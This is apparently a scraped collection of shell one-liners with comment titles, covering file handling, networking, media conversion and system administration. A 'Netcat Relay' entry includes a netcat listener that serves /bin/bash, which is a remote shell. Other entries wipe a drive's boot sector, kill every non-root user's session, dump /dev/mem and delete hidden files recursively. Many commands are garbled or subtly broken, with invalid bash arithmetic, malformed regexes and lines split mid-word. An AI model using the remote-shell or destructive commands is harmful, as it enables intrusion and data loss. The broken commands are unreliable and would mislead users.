# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -l --time-style=+%Y-%m-%d | awk "/$(date +%Y-%m-%d)/ {print \$7}"

# List your MACs address
sort -u < /sys/class/net/*/address

# Create a html of information about you harddisk
lshw -C disk -html > /tmp/diskinfo.html

# Alternative size (human readable) of files and directories (biggest last)
du -ms * | sort -nk1

# Check a server is up. If it isn't mail me.
curl -fs brandx.jp.sme 2>&1 > /dev/null || echo brandx.jp.sme ping failed | mail
-ne -s'Server unavailable' joker@jp.co.uk

# Replace Caps-lock with Control-key
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'

# Extract IPv4 addressess from file
grep -Eo \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq

# continuously check size of files or directories
watch -n <time_interval> "du -s <file_or_directory>"

# Compare two CSV files, discarding any repeated lines
cat foo.csv bar.csv | sort -t "," -k 2 | uniq

# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html

# remove lines which are longer than 255
```

```
sed -n '/^\.{255}\!/p'

# Alias to edit and source your .bashrc file
alias vb='vim ~/.bashrc; source ~/.bashrc'

# List all symbolic links in current directory
\ls -l | xargs -l readlink

# Multi line grep using sed and specifying open/close tags
cat file.txt | sed -e /<opening tag>/d -e /<closing tag>/G | sed -e '/./{H;$!d;}
' -e 'x;/<string to search>/!d;'

# send tweets to twitter (and get user details)
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20the%20li
nux%20command%20line" http://twitter.com/statuses/update.json

# Show log message including which files changed for a given commit in git.
git --no-pager whatchanged -l --pretty=medium <commit_hash>

# List all symbolic links in current directory
ls -lah | grep ^l

# Slightly better compressed archives
find . \!-type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzi
p2 --best > a.tar.bz2

# Find the real processor speed when you use CPU scaling [cpuspeed]
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }'
/proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real
speed is: " $2 }'

# copy from host1 to host2, through your host
ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxz
C <path>

# Count accesses per domain
cut -d '/' -f3 file | sort | uniq -c

# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1

# Show Directories in the PATH Which does NOT Exist
ls -d $(echo ${PATH}://:/ ) > /dev/null

# vi case insensitive search
:set ic

# Burn an ISO on the command line.
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso

# Grep log between range of minutes
grep -i "$(date +%b" "%d )13:4[0-5]" syslog

# Print number of mb of free ram
free -m | awk '/Mem/ {print $4}'

# Find files with at least one exec bit set
find . -type f -perm +0111 -print
```

```

# Delete all aliases for a network interface on a (Free)BSD system
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete

# Extracting a range of pages from a PDF, using GhostScript
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17 -sOutputFile=OUTPUT.pdf ORIGINAL.pdf

# Flush and then immediately start watching a file
(> errors.log) && tail -f !^

# View a file with less, starting at the end of the file
less +G <filename>

# Top Command in batch mode
top -b -n 1

# Split a file one piece at a time, when using the split command isn't an option
(not enough disk space)
dd if=inputfile of=split3 bs=16m count=32 skip=64

# Convert files from DOS line endings to UNIX line endings
sed -i 's/^M//' file

# Print number of mb of free ram
free -m | awk '/buffer/ {print $4}'

# Monitor incoming connections of proxies and balancers.
watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\"); ; split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c"

# Find chronological errors or bad timestamps in a Subversion repository
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \)| <(TZ=UTC svn log -q $URL | grep \)| | sort -k3 -t \)|

# create file named after actual date
touch file-$(date +%Y%m%d)

# Fibonacci With Case
fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo ${$(fib ${$1-2})+$(fib ${$1-1})};;*)exit 1;;esac;}

# a fast way to repeat output a byte
ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024) '\\255')) [1..24]"

# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

# Find commets in jpg files.
find / -name "*.jpg" -print -exec rdjpgcom '{} ' ';'

# Factorial With Case
fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo ${$1*$(fac ${$1-1})};;*)exit 1;;esac }

# Colour part of your prompt red to indicate an error
export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ '

```

```

# archlinux: find more commands provided by the package owning some command
pkgfile -lb `pkgfile <command>`

# how many pages will my text files print on?
numpages() { echo $((($wc -l $* | sed -n 's/ total$/p')/60)); }

# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}'

# A command line calculator in Perl
perl -e 'for(@ARGV){s/x*/g;s/v/sqrt /g;s/\^/**/g};print eval(join(" ",@ARGV)),$/;'

# A "Web 2.0" domain name generator and look for register availability
for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H $domain.com | grep -o 'No match for')" ]; then echo -ne "Not "; fi; echo "Available for register"; done

# Nicely display permissions in octal format with filename
stat -f '%Sp %p %N' * | rev | sed -E 's/^(^[:space:]+)[[:space:]]([[:digit:]]{4})[[:space:]]*([[:space:]]+)[[:space:]]+/\1 \2 \3/' | rev

# Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r

# Find if $b is in $a in bash
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi

# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $7}'`

# Use Perl like grep
prep () { perl -nle 'print if "$1";' $2 }

# phpinfo from the command line
echo "<?php phpinfo(); ?>" | php > phpinfo.txt

# Open a file at the specified line
emacs +400 code.py

# Non Numeric Check
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi

# Find if $b is in $a in bash
if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi

# Complex string encoding with sed
cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?feed=rss2.html"|g'

# start vim in diff mode
vimdiff file{1,2}

# echo something backwards
echo linux|rev

# grep -v with multiple patterns.
sed -n '/test/{/error\|critical\|warning/d;p}' somefile

```

```

# Fast tape rewind
< /dev/rmt/0cbn

# Video Google download
wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.+\)\\\x26thumbnai
lUrl\\\x3dhttp" | grep -o "http.+" | sed -e 's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g'
| xargs echo -e | sed 's/.\{22\}\$/g' | xargs wget -O OUPUT_FILE

# Convert decimal numbers to binary
function decToBin { echo "ibase=10; obase=2; $1" | bc; }

# Find all files that have nasty names
find -name "*"^[^a-zA-Z0-9._-]*"

# Test disk I/O
dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync

# A nice command for summarising repeated information
alias counts=sort | uniq -c | sort -nr

# Detect encoding of a text file
file -i <textfile>

# Display which distro is installed
lsb_release -a

# Use Perl like grep
ack; pcregrep

# get a directory from one machine to another using tar and ssh
ssh somemachine "cd some dir; tar zcpf - somedirname" |tar xzpf -

# show where symlinks are pointing
lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } print
f("%s\n", $NF) }'; }

# Number file
nl file.txt > file_numbered.txt

# Get your external IP address
curl ifconfig.me/all/json

# Generate random valid mac addresses
for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:${( $RANDOM % 16
)}:1} ; done | sed -e 's/\(..\)/:\1/g' | sed 's/.\{.*\}/\1/' ; echo; done

# ring the bell
alias beep='echo -en "\007"'

# Batch edition of all OpenOffice.org Writer files in the current directory (bod
y text)
bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; th
en exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i";
sed -i "s/$_S/$_R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${
P}/T; done; }

# Generate random valid mac addresses
h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:${( $RANDOM%16)}:1};if [[ $(c

```



```

%2)) = 0 && $c != 12 ]];then echo -n ;;fi;done;echo

# OSX: Hear pronunciation of a word
say WORD

# Delete all flash cookies.
find $HOME -name '*.sol' -exec rm {} \;

# write text or append to a file
cat <<.>> somefilename

# remove leading blank lines
sed '/./,$!d'

# Check if x509 certificate file and rsa private key match
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )

# Remove CR LF from a text file
tr -d '\r\n' < input_file.txt > output_file.txt

# Make a playlistfile for mpg321 or other CLI player
ls -w 1 > list.m3u

# List of services sorted by boot order in Redhat-based systems
find /etc/rc3.d/ | sort -g

# Limit memory usage per script/program
(ulimit -v 1000000; scriptname)

# Remove all hidden files in a directory
rm -r .*?*

# Get names of files in /dev, a USB device is attached to
ls -la /dev/disk/by-id/usb-*

# set desktop background to highest-rated image from Reddit /r/wallpapers
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1
| xargs feh --bg-seamless

# Screencast with ffmpeg x11grab
ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 -y output.mkv

# reverse order of file
sed '1!G;h;$!d'

# Recursively grep thorough directory for string in file.
grep -rni string dir

# Updated top ten memory utilizing processes (child/instance aggregation) now with percentages of total RAM
TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10

# Convert a single-page PDF to a hi-res PNG, at 300dpi

```

```
convert -density 300x300 input.pdf output.png

# finding more large files
find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5

# rgrep: recursive grep without .svn
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep
"

# power off system in X hours form the current time, here X=2
echo init 0 | at now + 2 hours

# Go get those photos from a Picasa album
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"conte
nt":\["url":"(.+?.JPG)//){print "$1\n"}}' |wget -w1 -i -

# Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great
for init scripts
G=$(stty -g);stty rows $(((${LINES:-50}/2));top -n1; stty $G;unset G

# Reverse a file
tac -r -s "." FILENAME

# Give all those pictures the same name format, trailing zeros please for the ri
ght order, offset to merge different collections of pictures
OFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do NF="{F%.jpg}";NF="{NF/#
+(0)/}";NF=${NF+OFFS};NF="{(printf $FF $NF)}.jpg;if [ "$F" != "$NF" ];then mv -i
v "$F" "$NF";fi;done

# Root shell
sudo -i

# check the filesystem and use a progress bar
e2fsck -C -v /dev/device

# faster version of ls *
echo *

# Hear the mice moving
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print
$2%10000}`; done

# vi a new file with execution mode
vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; }

# Undo commit in Mercurial
hg diff -c $REV --reverse | hg patch --no-commit -

# Mutt - Change mail sender.
export EMAIL=caiogore@domain.com && mutt -s "chave webmail" destination@domain.c
om < /dev/null

# Use color grep by default
alias grep 'gnu grep -i --color=auto'

# List folders containing only PNGs
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0
$'

# Random unsigned integer
```

```

od -N 4 -t uL -An /dev/random | tr -d " "

# Sort output by column
ps aux | sort -nk 6

# Show account security settings
chage -l <user>

# Find the fastest server to disable comcast's DNS hijacking
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | e
grep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)

# Generate random valid mac addresses
for i in {1..6}; do printf "%0.2X:" ${RANDOM % 0x100 }; done | sed 's/:$/\n/'

# Empty Bind9 cache
rndc flush

# Find out the last times your system was rebooted (for the duration of wtmp).
last reboot

# find out which directories in /home have the most files currently open
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d /
-f 1-4|sort|uniq -c|sort -bgr

# Perform a reverse DNS lookup
dig -x 74.125.45.100

# Ping sweep without NMAP
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \n ' ' | awk '/1 received/
{print $2}'; done

# find read write traffic on disk since startup
iostat -m -d /dev/sda1

# Print Asterisk phone logs
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,
11,12 --output-delimiter=" " | sed 's"/"/g' | cut -d' ' -f 1,2,3,4,6 | column -t
; }

# Output files without comments or empty lines
grep -v "^(\$|#)" <filenames>

# commandline dictionary
wn wonder -over

# Dock Thunderbird in system tray and hide main window
alltray -H thunderbird

# Find today created files
find directory/ -mtime 0 -type f

# Show current iptables rules, with line numbers
iptables -nL -v --line-numbers

# last.fm rss parser
egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</ti
tle>" '{print $2, $1}' | sed -e 's/<link>/<li><a href=\"/\"/' -e 's/</link\
>/>/' -e 's/<title>//' -e 's/$/</a></li>/g' -e '1,1d' -e 's/^[ \t]*//'
```

```

# Search for files older than 30 days in a directory and list only their names
not the full path
find /var/www/html/ -type f -mtime +30 -exec basename {} \;

# last.fm rss parser
awk '/<link>/{gsub(/.*<link>|</link>./,"");print "<li><a href=\042"$0"\042> "t
"</a>" } /<title>/{gsub(/.*<title>|</title>./,"");t=$0 }' file

# Copy via tar pipe while preserving file permissions (run this command as root!
)
tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -

# Counts number of lines (in source code excluding comments)
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l

# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"["localtime($1)."]
"/e'

# Check executable shared library usage
ldd <executable binary>

# Route outbound SMTP connections through a additional IP address rather than you
r primary
iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE
_THROUGH

# pass the output of some command to a new email in the default email client
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"

# Print a list of installed Perl modules
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { pri
nt canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC'

# unpack all rars in current folder
unrar e *.rar

# View all images
find -iname '*.jpg' -print0 | xargs -0 feh -d

# Recursively move folders/files and preserve their permissions and ownership pe
rfectly
cd /source/directory; tar cf -. | tar xf - -C /destination/directory

# Search through files, ignoring .svn
grep <pattern> -R . --exclude-dir='.svn'

# Block all IP addresses and domains that have attempted brute force SSH login t
o computer
/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m re
cent -set

# Download a file securely via a remote SSH server
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $fil
e -O -" > $PWD/${file##*/}

# Mount Fat USB with RWX
sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb

```

```
# Enter a command but keep it out of the history
<space> secret -p password

# Detach a process from the current shell
nohup ping -i1 www.google.com &

# Execute MySQL query send results from stdout to CSV
mysql -umysqlusername -pmysqlpass databasename -B -e "select * from `tabalename`
`;" | sed 's/\t/", "/g; s/^"/"; s/$"/"; s/\n//g' > mysql_exported_table.csv

# Safe Delete
shred -n33 -zx file; rm file

# Insert the last argument of the previous command
<ALT> .

# Get the header of a website
curl -sI http://blog.binfalse.de

# Better recursive grep with pretty colors... requires ruby and gems (run: "gem
install rak")
rak "what you're searching for" dir/path

# Sort IP addresses
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses

# A DESTRUCTIVE command to render a drive unbootable
dd if=/dev/zero of=/dev/fd0 bs=512 count=1

# run command on a group of nodes in parallel
seq 1 5 | parallel ssh {}.cluster.net uptime

# intercept stdout/stderr of another process or disowned process
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |p" | sed -ue "s/^\.{9}\}\(.\\{50\
}\)\.\\+/\1/g" -e 's/ //g' | xxd -r -p

# find text in a file
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"

# Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar
24000 -ab 64 -ac 2 [destination].mp4

# Display the list of all opened tabs from Firefox via a python one-liner and a
shell hack to deal with python indentation.
python <<< '$import minjson\nf = open("sessionstore.js", "r")\njsonData = minjson.r
ead(f.read())\nf.close()\nfor win in jsonData.get("windows"):\n\tfor tab in win.get
("tabs"):\n\t\tti = tab.get("index") - 1\n\t\ttprint tab.get("entries")[i].get("ur
l")'
```

```

# Generate a random password
openssl rand -base64 12

# wc in perl
perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt

# Verbosely delete files matching specific name pattern, older than 15 days.
rm -vf /backup/directory/**/FILENAME_*(m+15)

# Convert .flv to .avi
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi

# Remove last line from files recursively
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;

# recursive search and replace old with new string, inside files
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'

# Batch rename extension of all files in a folder, in the example from .txt to .md
for f in *.txt; do mv $f `basename $f .txt`.md; done;

# This is N5 sorta like rot13 but with numbers only
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p

# Paste OS X clipboard contents to a file on a remote machine
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'

# git pull all repos
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done

# Get info about a GitHub user
curl http://github.com/api/v1/yaml/git

# find out how much space are occupied by files smaller than 1024K (sic) - improved
find dir -size -1024k -type f -print0 | du --files0-from - -bc

# disassemble binary shellcode
objdump -b binary -m i386 -D shellcode.bin

# Get info about a GitHub project
curl http://github.com/api/v1/yaml/search/vim

# Display or use a random file from current directory via a small bash one-liner
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]}

# Delete empty directories with zsh
rm -d **/*(/^F)

# Merge various PDF files
pdftk first.pdf second.pdf cat output output.pdf

# To find the count of each open file on a system (that supports losf)
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sor

```

```

t -nr

# Recursively execute command on directories (.svn, permissions, etc)
find . -type d -name .svn -exec chmod g+s "{}" \;

# Get current Xorg resolution via xrandr
xrandr | grep \* | cut -d' ' -f4

# Quick HTML image gallery
find . -iname '*.jpg' | sed 's/.//' > gallery.html

# Suspend to ram
sudo pm-suspend

# Extract JPEG images from a PDF document
pdftimages -j foo.pdf bar

# Count lines of code across multiple file types, sorted by least amount of code
to greatest
find . \( -iname '*.ch' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \
; | sort

# Find dead symbolic links
find . -type l | perl -lne 'print if ! -e'

# A command's package details
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s
"${PACKAGE}"; dpkg -L "${PACKAGE}") | less

# move contents of the current directory to the parent directory, then remove cu
rrent directory.
mv * .[0-9a-Z]* ../; cd ../; rm -r $OLDPWD

# remove hostname from known_hosts
ssh-keygen -R hostname

# a function to create a box of '=' characters around a given string.
box(){ c=${2--}; l=$((c+1)); echo -e "$l\n$c $l $c\n$l"; unset c l;}

# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exac
t $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $fil
e (and maybe more)" 1>&2; break; }; done; done`

# List files with full path
find $(pwd) -maxdepth 1

# Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/
issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)

# Check if a web page has changed last time checked.
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new
.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s
"Page has changed." mail@mail.de ; fi ; mv /tmp/new.html /tmp/old.html

# List files with full path
ls | sed s#^#$(pwd)/#

```

```

# Add an audio soundtrack to a series of images to create an flv
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy
muted.flv

# Grab just the title of a youtube video
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '<title>' | grep '-'
) | sed 's/^- //'

# Download all images from a 4chan thread
function 4get () { curl $1 | grep -i "File<a href" | awk -F '<a href="' '{print
$4}' | awk -F '" ' '{print $1}' | xargs wget }

# generate random number
echo $RANDOM

# Lazy man's vim
function v { if [ -z $1 ]; then vim; else vim *$1*; fi }

# add files to existing growable DVD using growisofs
growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"

# Kill any lingering ssh processes
for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; don
e

# mount an iso
mount -o loop -t iso9660 my.iso /mnt/something

# Remove old unused kernels from Red Hat Enterprise Linux 5 & Fedora 12/13
/usr/bin/package-cleanup --oldkernels --count=3

# BASH: Print shell variable into AWK
MyVAR=85 awk '{ print ENVIRON["MyVAR"] }'

# command line to optimize all table from a mysql database
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk
'{print "optimize table " $1 ";"}' | mysql -u uname dbname

# Quickest way to sort/display # of occurrences
"some line input" | sort | uniq -c | sort -nr

# cat stdout of multiple commands
cat <( command1 arg arg ) <( command2 arg ) ...

# raw MySQL output to use in pipes
mysql DATABASE -N -s -r -e 'SQL COMMAND'

# Find common lines between two files
comm -12 FILE1.sorted FILE2.sorted > common

# Unaccent an entire directory tree with files.
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | whi
le read dirfile; do outfile=$(echo "$(basename "$dirfile")" | unaccent UTF-8);
mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done

# HTML5 ogg player
echo '<html><body><table>' > /tmp/bar.html && find / -name '*.ogg' | sort | awk
'{print "<tr><td>"$1"</td><td><audio src=\""$1\"\" controls='controls'></audio></
td></tr>" }' >> /tmp/bar.html && echo '</table></body></html>' >> /tmp/bar.html

```


o''

```
# view the system memory in clear text
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
```

```
# List contents of tar archive within a compressed 7zip archive
7z x -so testfile.tar.7z | tar tvf -
```

```
# Strace all signals processes based on a name ( The processes already started..
. ) with bash built-in
straceprocessname(){ x=( $(pgrep "$@" ) ); [[ ${x[@]} ]] || return 1; strace -vf
${x[@]}/#/-p }; }
```

```
# Send your svn diff to meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
```

```
# Copy the text from the 3rd line to the 9th line into a new file with VI
:3,9w new_file
```

```
# Concatenate video files to YouTube ready output
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourc
c xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
```

```
# Realtime lines per second in a log file
tail -f access.log | pv -l -i10 -r >/dev/null
```

```
# convert hex to decimal ; decimal to hex
echo 16i `echo "F" | tr '[a-f]' '[A-F]` ` p | dc ; echo 16o "15" p | dc
```

```
# Display the standard deviation of a column of numbers with awk
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END {
print sqrt(mean2 / NR); }'
```

```
# Convert PDF to JPEG using Ghostscript
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
```

```
# Lines per second in a log file
tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log
```

```
# create a new script, automatically populating the shebang line, editing the sc
ript, and making it executable.
```

```
shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chm
od 755 $2; else echo "'which' could not find $1, is it in your $PATH?"; fi; }
```

```
# Separates each frame of a animated gif file to a counted file, then appends th
e frames together into one sheet file. Useful for making sprite sheets for games
```

```
convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
```

```
# Compress logs older than 7 days
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
```

```
# convert strings toupper/tolower with tr
echo "aBcDeFgH123" | tr a-z A-Z
```

```
# online MAC address lookup
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
```

```
# Duplicating service runlevel configurations from one server to another.
```

```
chkconfig --list | fgrep :on | sed -e 's/\(^.*\) *0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/./:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
```

```
# From Vim, run current buffer in python
! python %
```

```
# Show a Package Version on Debian based distribution
apt-cache show pkgname | grep -i "version:"
```

```
# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
```

```
# Make a high definition VNC
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
```

```
# extract all urls from firefox sessionstore
sed -e "s/\[{\n/g" -e "s/}, {\n/g" sessionstore.js | grep url | awk -F"," '{print $1 }'| sed -e "s/url:\\"([^\"]*)\\"/\1/g" -e "/^about:blank/d" > session_urls.txt
```

```
# List the libraries used by an application
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\\/{print $1}$3~/^\\/{print $3}' | sed 's/,$/\n/'
```

```
# show the date every rpm was installed
rpm -qa --last
```

```
# create an screenshot, upload it to your server via scp and then open that screenshot in firefox
FILE=`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
```

```
# Parallel mysql dump restore
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}'" | mysql nix"
```

```
# Force an fsck on reboot
shutdown -rF now
```

```
# Give {Open,True}Type files reasonable names
shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
```

```
# Decode base64-encoded file in one line of Perl
perl -MMIME::Base64 -ne 'print decode_base64($_) ' < file.txt > out
```

```
# Find the biggest files
du -sk * | sort -rn | head
```

```
# Decode base64-encoded file in one line of Perl
openssl base64 -d < file.txt > out
```

```
# Watch memcache traffic
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211
```

```
# Netcat Relay
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;
```

```

## nc -l $IamTargetHost 1234 -e /bin/bash;

# u can hear all .ogg files with vlc that thier link are in url
lynx -dump -listonly 'url' | grep -oe 'http://.*\ogg' > 11 ; vlc 11 ; mv 11 /dev/null

# top svn committers (without awk)
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr

# Averaging columns of numbers
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat

# Validating a file with checksum
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7")
-

# Set file access control lists
setfacl -m u:john:r-- myfile

# Generate SHA1 hash for each file in a list
find . -type f -exec shasum {} >> SHA1SUMS \;

# Grab an interface's IP from ifconfig without screen clutter
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:
\ /g

# Most used command
history | awk '{a[$$(echo "1 2 $HISTTIMEFORMAT" | wc -w)]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

# Quick plotting of a function
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X

# Print text string vertically, one character per line.
echo "vertical text" | fold -1

# Show a line when a "column" matches
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log

# get your terminal back after it's been clobbered
reset

# Remove newlines from output
cat filename | grep .

# Produce a pseudo random password with given length in base 64
date +%s | sha256sum | base64 | head -c <length>; echo

